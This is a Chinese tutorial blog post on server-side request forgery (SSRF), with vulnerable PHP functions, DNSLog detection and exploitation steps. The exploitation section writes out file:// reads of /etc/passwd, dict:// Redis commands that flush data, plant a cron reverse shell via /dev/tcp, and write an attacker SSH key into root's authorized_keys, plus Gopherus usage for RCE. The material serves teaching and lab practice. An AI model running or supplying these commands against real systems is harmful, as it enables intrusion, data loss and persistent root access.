服务器端请求伪造漏洞

news2024/9/22 9:45:30

1.客户端请求

客户端请求指的是由客户端设备(如个人计算机、智能手机、平板电脑等)或软件(浏览器、各种APP)发出的请求,以获取指定的网页、图片、视频或其他资源。比如当用户在浏览器中输入URL或点击链接时,浏览器会自动发起HTTP请求,请求服务器返回指定的资源。

2.服务器端请求

服务器上的应用程序或服务会提供一些功能接口,比如API接口,用于与其他服务进行数据交互。这些由服务器向其他的服务器发起的请求称之为服务器端请求。

3.服务器端请求伪造

服务器端请求伪造(Server-side Request Forgery) 简称SSRF,是指攻击者通过伪造服务器端请求,从而使服务器发起对第三方系统的攻击或访问。攻击者通常会使用受害者服务器上的应用程序作为代理来发起请求,以使请求看起来像是由服务器发起的。

4.漏洞场景

以百度在线翻译为例,其允许用户传入URL,然后百度在线翻译会去请求该URL将的到的结果进行翻译并返回给用户。

在这个过程中,如果百度在线翻译没有对用户传入的URL进行验证,则攻击者可以传入一个百度的内网地址,那么百度翻译就会请求这个内网地址将得到的结果进行翻译并返回给攻击者,从而攻击者就成功的获得了百度翻译这个服务器的内网其他信息。

5.漏洞函数

PHP:

这些函数用于发出HTTP请求,包括常见的函数如curl_exec() 、file_get_contents()、fsockopen()。如果这些函数允许从用户输入中获取URL,但未正确验证和过滤用户输入,攻击者可以通过在URL中注入恶意代码来触发SSRF漏洞。

JAVA:

仅支持HTTP/HTTPS协议的类:HttpClient 类、HttpURLConnection 类、 OkHttp 类、 Request 类

支持sun.net.www.protocol所有协议的类:URLConnection 类、URL类、ImageIO 类

(1)Curl_exec()

格式: curl_exec(resource Sch)

作用:执行CURL会话

<?php

// 创建一个cURL资源

$ch = curl_init();

// 设置URL和相应的选项

curl_setopt($ch, CURLOPT_URL, "https://www.baidu.com/");

curl_setopt($ch, CURLOPT_HEADER, 0);

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);

// 抓取URL并把它传递给浏览器

curl_exec($ch);

// 关闭cURL资源,并且释放系统资源

curl_close($ch);

?>

(2)File_get_contents

格式: file_get_contents(pathinclude_path,context,start,max_length)

作用:把整个文件读入一个字符串中。将整个文件或一个ur所指向的文件读入一个字符串中。

<?php

if(isset($_POST['url']))

{

$content=file_get_contents($_POST['url']);

$filename='./images/'.rand().'.txt';\

file_put_contents($filename,$content);

echo$_POST['url'];

$img="<img src=\"".$filename."\"/>";

}

echo$img;

?>

传入一个地址:

(3)Fsockopen

格式: fsockopen(string hostname,intport = -1Lint &Serrno[ string &errstrl, floattimeout = ini_get("default_socket_timeout") ]] )

作用:打开一个网络连接或者一个Unix 套接字连接。

<?php

$fp = fsockopen("192.168.81.236", 9998, $errno, $errstr, 30);

if (!$fp) {

    echo "$errstr ($errno)<br />\n";

} else {

    $out = "GET / HTTP/1.1\r\n";

    $out .= "Host: 192.168.81.236\r\n";

    $out .= "Connection: Close\r\n\r\n";

    fwrite($fp, $out);

    while (!feof($fp)) {

        echo fgets($fp, 128);

    }

    fclose($fp);

}

?>

6.判断漏洞是否存在

在无回显(Blind)的SSRF攻击中,攻击者无法直接获取目标系统返回的响应,因此需要寻找一种方法来间接地确认攻击是否成功。

DNSLog是一种常用的间接确认方法,它通过向一个域名提交请求,然后查看DNS服务器的日志来获取该域名的请求记录,从而确认攻击是否成功。

攻击者可以在SSRF漏洞中注入带有DNSLog服务地址的URL,并将该URL发送到目标服务器上,当目标服务器对该URL进行请求时,DNSLog服务将接收到请求并记录在日志中。攻击者可以定期查看DNSLog的日志,以确认目标服务器是否对该URL进行了请求

DNS

域名解析系统(Domain Name System),用户在浏览器输入一个域名靠DNS服务解析域名的真实IP 访问服务器上相应的服务。

DNSLOG

DNS的日志,存储在DNS服务器上的域名信息,记录着用户对域名的访问信息类似日志文件

7.服务器端请求伪造漏洞利用

(1)读取敏感文件

通过file协议读取敏感文件

A.读取/etc/passwd

B.读取/etc/hosts

(2)探测内网服务

通过dict协议

在读取hosts时获取到内网网段为172.19.0.3,可以对同c段其他主机进行测试

(3)攻击内网应用

A. 通过dict://协议攻击内网redis

Redis是一个key-value存储系统,是跨平台的非关系型数据库。Redis一般绑定在本地的6379端口上,如果在没有开启认证的情况下,可以导致任意用户利用ssrf漏洞攻击内网中的未授权Redis以及读取Redis的数据。

攻击者在末授权访问Redis的情况下可以利用Redis的相关方法,如果运行 redis 的用户是root用户,攻击者可以通过写定时任务的方式进行反弹she11。

这是一篇介绍反弹shell的文章:https://xz.aliyun.com/t/9488

a.测试redis是否存在未授权访问漏洞

dcit://ip:port/info

b.先根据服务器是否存在以下目录判断服务器信息

# Centos

/etc/redhat-release

# Ubuntu

/etc/lsb-release

c.定时任务目录

centos,在/var/spool/cron/目录下

ubuntu 的定时任务在 /var/spool/cron/crontabs/ 目录下

d.在攻击主机(如果你的攻击目标是本地靶场,那攻击机可以使用ubuntu;如果攻击目标是公网服务器,则接收反弹shel的机器也需要是公网服务器)监听一个端口,用以接收受害主机执行的定时任务所反弹回来的shell。

nc -lvnp 1234

e.在存在漏洞的网站依次执行

# 清空数据库(慎用)

dict://172.19.0.2:6379/flushall

# 设置工作目录

dict://172.19.0.2:6379/config set dir /var/spool/cron/

# 设置保存的文件名

dict://172.19.0.2:6379/config set dbfilename root

# 设置变量x,如果你是在本地虚拟机ubuntu监听,则下方的ip也需要修改为ubuntu

dict://172.19.0.2:6379/set x "\n*/2 * * * * bash -i &> /dev/tcp/192.168.190.137/1234 0>&1\n"

# 保存

dict://172.19.0.2:6379/save

注意:要出现两个+ok才可以

B.写ssh公钥

123步同上,探测是否存在漏洞(通过file读取文件),探测端口(6379端口存在服务),探测redis是否存在未授权访问漏洞

a. 通过redis写ssh公钥,首先攻击方生成一对ssh key

ssh-keygen -t rsa

b. 先拿出公钥的数据

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

c. 在目标网站上执行

dict://172.19.0.4:6379/flushall  //flush线上环境慎用

dict://172.19.0.4:6379/config set dir /root/.ssh/

dict://172.19.0.4:6379/config set dbfilename "authorized_keys"

dict://172.19.0.4:6379/set test "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH8x9x08lpDP2urDQy8gp7WmC10Wk5CZ1R1zlm4YcpDSEWDOy//9GCCpnW3FlT/E7qDlmBGklpRErbFS8GlXgIXZMgnjCC3rmpFJfw8IIcIdx9RaLHhKdvCQsjP3Me0RjQo7AEo5HX3iSax3TCgSV+aTH0XDmjs6t4VfMlS3qsVLITNmC/aU6tjhc22Y99gNM26kfR7Nfe7xmqBEGVrC/i+8QB4jwypGZ/Da9mXnQ7e6gr9fi+RQWirs49gqx7Vvf2h+wXnECqaHbgQ0ET2Px3D6xbOrLcW+u2ZiUzgiD8uE4Zj55n7+dxG/BCV9wOT8boMHJE8g2H76mX9rR+sk2t thr@thr-virtual-machine\n\n"

dict://172.19.0.4:6379/save

d. 攻击者利用私钥进行登录

ssh root@192.168.190.137 -p 2222 -i ~/.ssh/id_rsa

第一个红框为攻击目标ip,第二个红框为可提供服务的端口

C.通过gopher协议攻击内网应用

gopher 协议是比 http 协议更早出现的协议,现在已经不常用了,但是在SSRF 漏洞利用中 gopher可以说是万金油,因为可以使用 gopher 发送各种格式的请求包,可以攻击内网的 FTP、Telnet、Redis.Memcache,也可以进行GET、POST请求,还可以攻击内网未授权MySQL。

gopher协议默认端口70,所以需要指定web端口,而且需要指定方法。数据部分需要进行url编码。回车换行使用%0d%0a

基本协议格式:URL:gopher://<host>:sport>/<gopher-path>_后接TCP数据流Gopherus的运用

在SSRF易受攻击的站点上生成 Gopher 负载以利用SSRF并获得RCE。

可以攻击的应用: MySQL、FastCGl、Memcached、Redis、Zabbix、SMTP.

使用方法:python gopherus.py --exploit redis

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2043250.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python | Leetcode Python题解之第335题路径交叉

题目&#xff1a; 题解&#xff1a; class Solution:def isSelfCrossing(self, distance: List[int]) -> bool:n len(distance)# 处理第 1 种情况i 0while i < n and (i < 2 or distance[i] > distance[i - 2]):i 1if i n:return False# 处理第 j 次移动的情况…

【语义通信】灵(Genie)——6G的第四维元素

6G 不仅包含 5G 涉及的人类社会、信息空间、 物理世界&#xff08;人、机、物&#xff09;这 3 个核心元素&#xff0c;还第四维元素—灵&#xff08;Genie&#xff09;。Genie存在于虚拟世界体系&#xff0c;虚拟世界体系包括&#xff08;VPS, VBS, VSS&#xff09;&#xff0…

BvSP_ Broad-view Soft Prompting for Few-Shot Aspect Sentiment Quad Prediction

中文题目: 英文题目: BvSP: Broad-view Soft Prompting for Few-Shot Aspect Sentiment Quad Prediction 论文地址: aclanthology.org/2024.acl-long.460.pdf 代码地址: https://github.com/byinhao/BvSP 论文级别&#xff0c; 单位: (2024 ACL long paper) 南开大学&#xff0…

写给大数据开发:如何解决拖延

你是否曾面对一个复杂的Spark任务&#xff0c;明知它对项目至关重要&#xff0c;却总是找各种理由推迟动手&#xff1f;或者&#xff0c;你有没有在面对一堆待优化的Hive查询时&#xff0c;选择先去重构那个"并不那么紧急"的Python脚本&#xff1f; 如果你点头了&am…

faceswap安装

目录 简介下载地址安装clone代码安装conda配置和安装 启动其他 简介 Faceswap 是领先的免费开源多平台 Deepfakes 软件。由 Tensorflow、Keras 和 Python 提供支持&#xff1b;Faceswap 将在 Windows、macOS 和 Linux 上运行。支持CPU运行&#xff0c;无独显也能跑。 下载地址…

language model

1、language model&#xff08;LM&#xff09;&#xff1a;估计token序列的可能性 2、对于HMM&#xff0c;固定需要P(Y)才符合公式&#xff1b;对于LAS&#xff0c;加上P(Y)能够使效果更好 P(Y|X)需要成对的数据&#xff0c;而P(Y)不需要成对&#xff0c;所以可以得到很多数据 …

Git使用教程介绍 - 1.Git 起因和背景

对于git的整体运作体系和更多的基本操作和概念并不是非常熟悉&#xff0c;因此恶补一番&#xff0c;把自己的成果和理解整理为一个git使用系列。 我也会不断更新该系列&#xff0c;与大家共勉&#xff0c;也是自我学习迭代的过程。 更多技术文章&#xff0c;全网首发公众号 “…

pytorch库 05 PyTorch深度学习实践笔记

文章目录 一、基本概念1、深度学习流程2、感知机结构与人工神经网络结构3、反向传播&#xff08;Back Propagation&#xff09;导学 二、线性模型1、线性模型计算流程2、代码实现3、小练习 三、梯度下降算法1、梯度下降计算流程2、代码实现3、随机梯度下降&#xff08;SGD&…

你还纠结996吗?2024年互联网公司工作时长排行榜出炉!

2024年互联网公司工作时长排行榜新鲜出炉&#xff01;在这个竞争激烈的行业中&#xff0c;工作时长一直是人们关注的热点话题。你还在纠结996工作制吗&#xff1f;也许这份排行榜会给你一些意想不到的答案。 为什么一些公司依旧推行996&#xff0c;而另一些公司却在努力减少员…

驾考流程不清晰?教练精心整理,学车速看!(建议收藏)

驾考流程太复杂&#xff1f;不知道报名之后要怎么做&#xff1f;看这一篇给你把驾考流程说通透&#xff01; 第1步 驾校报名 建议从驾校的规模、收费、教练水平、合格率等方面综合考虑&#xff0c;选择一个适合自己的驾校&#xff0c;携带个人身份证进行缴费报名。 第2步 体检…

C++:map And set

1. 关联式容器 在初阶阶段&#xff0c;我们已经接触过STL中的部分容器&#xff0c;比如&#xff1a;vector、list、deque、forward_list(C11)等&#xff0c;这些容器统称为序列式容器&#xff0c;因为其底层为线性序列的数据结构&#xff0c;里面存储的是元素本身。那什么是关联…

深入理解Java虚拟机(内存区域)

文章收录在网站&#xff1a;http://hardyfish.top/ 文章收录在网站&#xff1a;http://hardyfish.top/ 文章收录在网站&#xff1a;http://hardyfish.top/ 文章收录在网站&#xff1a;http://hardyfish.top/ 内存区域 运行时数据区域 Java虚拟机在执行Java程序的过程中会把它…

haproxy的工具及其算法

一、socat 工具 dnf install socat -y #查看帮助文档 echo "help" | socat stdio /var/lib/haproxy/stats #查看参数 echo "show info" | socat stdio /var/lib/haproxy/stats #查看服务状态 echo "show servers state" | socat stdio /var/lib/…

【Vue3】嵌套路由

【Vue3】嵌套路由 背景简介开发环境开发步骤及源码 背景 随着年龄的增长&#xff0c;很多曾经烂熟于心的技术原理已被岁月摩擦得愈发模糊起来&#xff0c;技术出身的人总是很难放下一些执念&#xff0c;遂将这些知识整理成文&#xff0c;以纪念曾经努力学习奋斗的日子。本文内…

智匠MindCraft AI 1.2.6版本更新啦!!

智匠MindCraft AI​​​​​​​迎来1.2.6版本更新&#xff0c;本次更新四大内容&#xff1a; 1、网页代码及python代码渲染优化。更稳定的代码渲染功能&#xff0c;您可以在智匠AI中&#xff0c;实现炫酷的网页效果&#xff0c;或者用python制作图表和游戏。 2、语音实验室增…

Linux 配置定时任务

Linux定时任务&#xff0c;通常被称为Cron Jobs&#xff0c;在系统管理和运维自动化领域中扮演着至关重要的角色&#xff0c;并且在日常的服务器维护活动中也展现出了广泛而深远的应用价值。这种强大的工具允许用户按照预定的时间周期自动执行各种任务&#xff0c;如数据备份、…

springboot中的工厂模式

说到工厂模式&#xff0c;先说说工厂模式是什么&#xff0c;有什么优点 平常我们在工作开发过程中&#xff0c;往往因为工期问题导致整体功能设计考虑的不够周到&#xff0c;导致后期迭代时发现需要原有功能流程基础上追加新功能时&#xff0c;需要耗费更多的成本&#xff0c;…

【HarmonyOS NEXT星河版开发学习】小型测试案例16-小米官网轮播图部分

个人主页→VON 收录专栏→鸿蒙开发小型案例总结​​​​​ 基础语法部分会发布于github 和 gitee上面&#xff08;暂未发布&#xff09; 前言 鸿蒙开发中的Swiper组件应用十分的广泛&#xff0c;像小米、淘宝、京东...众多网友都采用了轮播图的效果。不仅更加的美观&#xff0c…

AutoTiny电脑自动化操作

AutoTiny 可以自动化电脑上的一些操作&#xff0c;比如帮你重复鼠标点击操作&#xff08;我猜可以当作外挂刷怪&#xff0c;可惜已经过了喜欢刷怪的年纪了&#xff09;

Linux学习之路 -- 进程 -- 进程间通信 -- 管道通信

本文主要介绍进程通信中的管道通信。 前面我们学习进程的过程中&#xff0c;我们知道&#xff0c;进程是具有独立性的。这也就导致了进程不能够直接地把数据进行传递。为了实现进程之间地通信&#xff0c;我们就需要通过另外地方式来实现进程之间数据地传递。 1.进程通信的目…